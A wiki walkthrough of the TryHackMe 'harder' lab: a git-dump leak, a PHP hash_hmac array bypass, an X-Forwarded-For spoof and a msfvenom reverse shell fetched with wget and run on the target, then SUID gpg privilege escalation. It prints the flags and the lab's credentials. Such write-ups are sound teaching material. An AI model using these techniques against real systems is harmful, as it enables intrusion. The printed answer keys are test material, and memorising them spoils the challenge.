TryHackMe-harder

From aldeid
Jump to navigation Jump to search

Real pentest findings combined.

The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying linux distribution is used and where certain configurations are located.

Hints to the initial foodhold: Look closely at every request. Re-scan all newly found web services/folders and may use some wordlists from seclists (https://tools.kali.org/password-attacks/seclists). Read the source with care.

Hack the machine and obtain the user Flag (user.txt)

Enumerating the services

A Nmap scan reveals 2 services on their standard ports: SSH (22) and HTTP (80).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Error

Web (80/tcp)

Accessing the web service leads to a 404 error page. Any directory leads to the 404. Let’s analyze the request in BurpSuite.

Intercepting the response of our request to the main page (http://10.10.80.10) in BurpSuite discloses that the server expects the request to be sent to the pwd.harder.local virtual host:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 19 Aug 2020 20:09:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.19
Set-Cookie: TestCookie=just+a+test+cookie; expires=Wed, 19-Aug-2020 21:09:41 GMT; Max-Age=3600; path=/; domain=pwd.harder.local; secure
Content-Length: 1985

pwd.harder.local (virtual host)

Let’s add this line to our /etc/hosts file:

10.10.80.10 pwd.harder.local

Now, accessing the main page leads to an authentication form:

Cunknown@kali:/data/tmp$ curl -s http://pwd.harder.local/
<html><head><title>Harder Corp. - Password Manager</title>  <style>[REDACTED]</style></head><body>
<div class="wrapper"><div class="highlight"><div class="center">
<form class="pure-form pure-form-stacked" action="/index.php" method="post">
    <fieldset>
        <legend>Harder Corp. - Password Manager</legend>
        <input type="hidden" name="action" value="set_login">
        <!-- <label for="username"><strong>Username:</strong></label> -->
        <input id="username" type="text" name="user" placeholder="Enter Username" class="pure-input-1">
        <!-- <label for="password"><strong>Password:</strong></label> -->
        <input id="password" type="password" name="pass" placeholder="Enter Password" class="pure-input-1">
        <label for="remember" class="pure-checkbox">
            <input id="remember" name="remember" type="checkbox"> Remember this computer        </label>
        <button type="submit" class="pure-button pure-button-primary">Log in &rarr;</button>
    </fieldset>
</form>
</div></div></div>
</body></html>

Authenticating with admin:admin allows the access but a message is then displayed: extra security in place. our source code will be reviewed soon ...

git directory

Scanning the web server with dirsearch against the common.txt dictionary reveals the existence of /.git/HEAD:

unknown@kali:/data/tmp$ /data/src/dirsearch/dirsearch.py -u http://pwd.harder.local -E -w /usr/share/wordlists/dirb/common.txt 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 4614

Error Log: /data/src/dirsearch/logs/errors-20-08-19_22-31-11.log

Target: http://pwd.harder.local

[22:31:11] Starting: 
[22:31:12] 200 -   19KB - /
[22:31:12] 200 -   23B  - /.git/HEAD
[22:31:32] 200 -   19KB - /index.php

Task Completed

Let’s use gitdumper.sh from GitTools

unknown@kali:/data/src/GitTools/Dumper$ ./gitdumper.sh http://pwd.harder.local/.git/ /data/tmp/files
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating /data/tmp/files/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/93/99abe877c92db19e7fc122d2879b470d7d6a58
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/ad/68cc6e2a786c4e671a6a00d6f7066dc1a49fc3
[+] Downloaded: objects/04/7afea4868d8b4ce8e7d6ca9eec9c82e3fe2161
[+] Downloaded: objects/e3/361e96c0a9db20541033f254df272deeb9dba7
[+] Downloaded: objects/c6/66164d58b28325393533478750410d6bbdff53
[+] Downloaded: objects/aa/938abf60c64cdb2d37d699409f77427c1b3826
[+] Downloaded: objects/cd/a7930579f48816fac740e2404903995e0ff614
[+] Downloaded: objects/22/8694f875f20080e29788d7cc3b626272107462
[+] Downloaded: objects/66/428e37f6bfaac0b42ce66106bee0a5bdf94d4e
[+] Downloaded: objects/6e/1096eae64fede71a78e54999236553b75b3b65
[+] Downloaded: objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c

The logs disclose several commits:

unknown@kali:/data/tmp/files$ git log 
commit 9399abe877c92db19e7fc122d2879b470d7d6a58 (HEAD -> master)
Author: evs <[email protected]>
Date:   Thu Oct 3 18:12:23 2019 +0300

    add gitignore

commit 047afea4868d8b4ce8e7d6ca9eec9c82e3fe2161
Author: evs <[email protected]>
Date:   Thu Oct 3 18:11:32 2019 +0300

    add extra security

commit ad68cc6e2a786c4e671a6a00d6f7066dc1a49fc3
Author: evs <[email protected]>
Date:   Thu Oct 3 14:00:52 2019 +0300

    added index.php

Let’s get a copy of the files.

unknown@kali:/data/tmp/files$ git checkout .
Updated 4 paths from the index
unknown@kali:/data/tmp/files$ ls -la
total 48
drwxr-xr-x 3 unknown unknown  4096 Aug 19 22:55 .
drwxr-xr-x 3 unknown unknown  4096 Aug 19 22:54 ..
-rw-r--r-- 1 unknown unknown 23820 Aug 19 22:55 auth.php
drwxr-xr-x 6 unknown unknown  4096 Aug 19 22:55 .git
-rw-r--r-- 1 unknown unknown    27 Aug 19 22:55 .gitignore
-rw-r--r-- 1 unknown unknown   431 Aug 19 22:55 hmac.php
-rw-r--r-- 1 unknown unknown   608 Aug 19 22:55 index.php

Unfortunately, it looks like 2 useful files are not available:

unknown@kali:/data/tmp/files$ cat .gitignore 
credentials.php
secret.php

As far as the index.php file, it includes several php files, including the ones we don’t have due to the .gitignore file, and displays a table with a URL and user information in clear (this is obviously something we want to get):

<?php
  session_start();
  require("auth.php");
  $login = new Login;
  $login->authorize();
  require("hmac.php");
  require("credentials.php");
?> 
  <table style="border: 1px solid;">
     <tr>
       <td style="border: 1px solid;">url</td>
       <td style="border: 1px solid;">username</td>
       <td style="border: 1px solid;">password (cleartext)</td>
     </tr>
     <tr>
       <td style="border: 1px solid;"><?php echo $creds[0]; ?></td>
       <td style="border: 1px solid;"><?php echo $creds[1]; ?></td>
       <td style="border: 1px solid;"><?php echo $creds[2]; ?></td>
     </tr>
   </table>

Now, let’s analyze hmac.php:

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

Bypassing the hash_hmac PHP function

Below is the proto of the hash_hmac PHP function:

=DESCRIPTION=

    hash_hmac — Generate a keyed hash value using the HMAC method


=PROTO=

    hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string
Parameters


=OPTIONS=

    algo
        Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..) See hash_hmac_algos() for a list of supported algorithms.

    data
        Message to be hashed.

    key
        Shared secret key used for generating the HMAC variant of the message digest.

    raw_output
        When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

We can hack the test defined in hmac.php by injecting the appropriate GET variables (h, n and host). The ultimate test will check that our h value is equal to $hm, which is itself defined as follows:

$hm = hash_hmac('sha256', $_GET['host'], hash_hmac('sha256', $_GET['n'], $secret));

Searching on the Internet how to bypass hash_hmac leads to this post: https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up. It states that providing an array as second argument to the function will force it to return false. Let’s test:

$ php -r "echo hash_hmac('sha256', Array(), 'secret')==false;"
PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in Command line code on line 1
1

The function returned 1, which confirms that we can take advantage of this vulnerability to pass an array for the n parameter. Let’s compute the hash with the secret set to false:

$ php -r "echo hash_hmac('sha256', 'pwd.harder.local', false);"
5b622e20b29bdbcb0a4881f1d117d20a33a1f78a3c07ba85645567607e75cedf

Now, we’ll send this request: http://pwd.harder.local?n[]=&h=5b622e20b29bdbcb0a4881f1d117d20a33a1f78a3c07ba85645567607e75cedf&host=pwd.harder.local

Here is what we get:

url username password (cleartext)
http://shell.harder.local evs 9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm

shell.harder.local (virtual host)

We start by adding the virtual host to our /etc/hosts file which now contains the 2 virtual hosts:

10.10.84.103    pwd.harder.local    shell.harder.local

Browsing http://shell.harder.local leads to the same authentication form as previously, which we successfully pass with evs:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm. Now, the message is: “Your IP is not allowed to use this webservice. Only 10.10.10.x is allowed”.

Let’s intercept the request in BurpSuite and add a X-Forwarded-For variable set to something in the expected IP range:

POST /index.php HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://shell.harder.local/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Cookie: PHPSESSID=21sppscro6foikfi7m788f79c0
X-Forwarded-For: 10.10.10.10
Upgrade-Insecure-Requests: 1

action=set_login&user=evs&pass=9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm

We are now displayed with a form that allows to execute a command (make sure you keep intercepting the requests in BurpSuite to add the X-Forwarded-For parameter):

Reverse shell

After trying several reverse shells in python, PHP and shell script without success, I eventually decided to run a reverse shell in metasploit to get a meterpreter.

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.9.0.54 LPORT=4444 -f elf > shell

Make the shell available via a python web server (python3 -m http.server) and force the target to download it via the following command: wget http://10.9.0.54:8000/shell.

Make the shell executable and run it by sending the following commands: chmod +x shell && ./shell

In Metasploit, enter the following commands:

msf> use exploit/multi/handler
msf> set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf> set LHOST 10.9.0.54
msf> set LPORT 4444
msf> run

User flag

We now have a meterpreter:

meterpreter > pwd
/www/shell
meterpreter > cd /home 
meterpreter > ls
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
42755/rwxr-xr-x  4096  dir   2020-07-08 00:29:00 +0200  evs
42755/rwxr-xr-x  4096  dir   2020-07-08 00:28:58 +0200  www

meterpreter > cd evs
meterpreter > ls
Listing: /home/evs
==================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  33    fil   2020-07-08 00:29:00 +0200  user.txt

meterpreter > cat user.txt
7e88bf11a579dc5ed66cc798cbe49f76

Answer: 7e88bf11a579dc5ed66cc798cbe49f76

Escalate your privileges and get the root Flag (root.txt)

Meterpreter to shell

From the meterpreter session, let’s get a shell (just enter shell).

meterpreter> shell
$ cat /etc/issue
Welcome to Alpine Linux 3.12
Kernel \r on an \m (\l)
$ uname -a
Linux harder 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 Linux

Enumerating the files owned by www reveals the presence of an interesting file:

$ find / -type f -user www 2>/dev/null
/tmp/sess_utu0095om9rr89vk98njrm2t2t
/tmp/sess_hn2lgius2md63fqek2ch70j3np
/var/lib/nginx/html/50x.html
/var/lib/nginx/html/index.html
/etc/periodic/15min/evs-backup.sh  <======= Interesting!
/proc/10/task/10/fdinfo/0
/proc/10/task/10/fdinfo/1
/proc/10/task/10/fdinfo/2
/proc/10/task/10/fdinfo/4
/proc/10/task/10/fdinfo/5
[REDACTED]

This file provides us with credentials to connect as user “evs” over SSH.

cat /etc/periodic/15min/evs-backup.sh
#!/bin/ash

# ToDo: create a backup script, that saves the /www directory to our internal server
# for authentication use ssh with user "evs" and password "U6j1brxGqbsUA$pMuIodnb$SZB4$bw14"

SSH connection as user “evs”

Once connected over SSH, let’s search for files owned by root with the SUID bit set:

harder:/tmp$ find / -type f -user root -perm -u=s 2>/dev/null
/usr/local/bin/execute-crypted

This program references a shell script (/usr/local/bin/run-crypted.sh)

harder:/tmp$ strings /usr/local/bin/execute-crypted
[REDACTED]
/usr/local/bin/run-crypted.sh %s
[REDACTED]

The /usr/local/bin/run-crypted.sh shows the source code:

#!/bin/sh

if [ $# -eq 0 ]
  then
    echo -n "[*] Current User: ";
    whoami;
    echo "[-] This program runs only commands which are encypted for [email protected] using gpg."
    echo "[-] Create a file like this: echo -n whoami > command"
    echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"
  else
    export GNUPGHOME=/root/.gnupg/
    gpg --decrypt --no-verbose "$1" | ash
fi

Execute the program as root (SUID)

We can confirm that the program executes as root:

harder:/tmp$ /usr/local/bin/execute-crypted 
[*] Current User: root
[-] This program runs only commands which are encypted for [email protected] using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg

Let’s search for the GPG root key.

harder:~$ find / -type f -name "[email protected]*" 2>/dev/null
/var/backup/[email protected]
harder:~$ cat /var/backup/[email protected] 
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D
=qaa6
-----END PGP PUBLIC KEY BLOCK-----

Luckily for us, there is a backup of the public key; let’s import it:

harder:~$ gpg --import /var/backup/[email protected] 
gpg: key C91D6615944F6874: public key "Administrator <[email protected]>" imported
gpg: Total number processed: 1
gpg:               imported: 1

Root flag

Now, let’s dump the content of the root flag:

harder:/tmp$ echo -n "cat /root/root.txt" > command
harder:/tmp$ gpg -r 6F99621E4D64B6AFCE56E864C91D6615944F6874 --encrypt command 
harder:/tmp$ execute-crypted command.gpg 
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07
      "Administrator <[email protected]>"
3a7bd72672889e0756b09f0566935a6c

Answer: 3a7bd72672889e0756b09f0566935a6c